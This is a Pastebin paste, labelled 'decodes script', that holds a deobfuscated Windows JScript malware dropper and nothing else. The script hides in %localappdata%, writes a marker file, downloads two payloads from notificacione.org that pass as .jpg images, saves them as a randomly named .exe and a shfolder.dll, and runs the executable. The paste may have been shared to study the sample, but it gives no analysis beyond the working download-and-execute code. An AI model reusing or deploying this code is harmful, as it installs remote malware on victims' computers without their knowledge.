Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- decodes script:
- WScript.Sleep(10000);
- var xNiDXxECHG7FFA8CBALJJEFN23NK1JALBF82AB = WScript.CreateObject("WScript.Shell");
- FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L = xNiDXxECHG7FFA8CBALJJEFN23NK1JALBF82AB.ExpandEnvironmentStrings("%localappdata%");
- function zrqrANFbI1A97N413ANAMH4739CG978DB207LF(text) {
- try {
- var fso = new ActiveXObject("Scrpting.FileSystemObject");
- var fh = fso.OpenTextFile(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\remind", 8, true, 0);
- fh.WriteLine(text);
- fh.Close();
- } catch (e) {
- }
- }
- function FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(rVAvpOhvFDGA0EIAN0JCHG3C91325II0J2F85D, FXInduoM0CI7J0LNELCFN8M0IMICN6KFJH17FN) {
- try{
- MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30 = new ActiveXObject('MSXML2.XMLHTTP');
- fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8 = new ActiveXObject("ADODB.Stream");
- MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.Open("GET", rVAvpOhvFDGA0EIAN0JCHG3C91325II0J2F85D, false);
- MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.Send();
- } catch (e) {
- zrqrANFbI1A97N413ANAMH4739CG978DB207LF("eulAClxA960A3C58AMLGMK34629LAMF0886HN0 -> " + e);
- }
- fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.type = 1 ////binary
- fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.open();
- fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.write(MCuqgliU6BC8K5IH4D4C07II5M440LA27HGI30.responseBody);
- fsbFxztd023H4A02JBNE0D9ID6KHI072DEC0I8.savetofile(FXInduoM0CI7J0LNELCFN8M0IMICN6KFJH17FN, 2); ////overwrite
- }
- function sdgHuidvFI6I34FALFBMDMM6C0DN8IK2M2B837(n) {
- n = n.toString(16);
- if (n.length == 1) n = "0" + n;
- n = "%" + n;
- return unescape(n);
- }
- var xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 = "xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4";
- var ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE = "ehNsAdxo9K2971173ICE7M7ELI7BGK9II6AFCN"+".exe";
- var FjVCCprH1H8EMMI0CC52JCHHM75026L8MHL7DH = "shfolder.dll";
- var pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0;
- var AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H;
- var CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N;
- pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 = false;
- var brMICAVS9GD32B131701LG023M90FBEA6H4233 = new ActiveXObject("Scripting.FileSystemObject");
- if(brMICAVS9GD32B131701LG023M90FBEA6H4233.FileExists(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\naaSbHUZ8LH3N599G6M0BF0D0F2GE264JJBF08")){
- }
- else{
- try
- {
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- fso.CreateFolder(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4);
- var ZzdfMeXr2453G2A9HF7N03H42KFINMIN8ENFKL = new ActiveXObject("Scripting.FileSystemObject");
- var FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG = ZzdfMeXr2453G2A9HF7N03H42KFINMIN8ENFKL.CreateTextFile(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\naaSbHUZ8LH3N599G6M0BF0D0F2GE264JJBF08", true);
- FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG.WriteLine('ONngmpISMG93N77EFDA5KLCL41KBMF792ND0GE');
- FbsoSFqF0HB78HME007MF25DG1HDL0D462J4GG.Close();
- }
- catch (ex)
- {
- }
- var CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N = "http://notificacione.org/hooponoponoh0/aux2.jpg";
- try
- {
- if (pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == false) {
- FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(CZuCduoH5ECCI0LIAB0C3K4CJG2NDDIG6JEG6N, FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE);
- }
- }
- catch (ex)
- {
- }
- AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H = "http://notificacione.org/hooponoponoh0/hhhHHHZ3rRR1000.jpg";
- try
- {
- if (pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == false) {
- FKFMCliHK6KNC5II6G10KF2B7N7HBE9B6LAFEF(AVIFUpavLAIH07EBK62NFAEGK60LNN77A8087H, FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + FjVCCprH1H8EMMI0CC52JCHHM75026L8MHL7DH);
- pMCrMitoEDE9D408293F9BN15EH081KN7ANFG0 == true;
- }
- }
- catch (ex)
- {
- }
- WScript.Sleep(3000);
- var wshShell = new ActiveXObject("WScript.Shell");
- WScript.Sleep(5900);
- wshShell.Exec(FuXZIEoK031L9GLD4E6A4ND749570M5JDN418L+"\\"+xnFgMiFAHNK3G48EHNK4I9KAK69D7BK4EH10C4 + "\\" + ZlXNHCXf2MN0AMA39KD80NFN630N1NMAE90NNE );
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement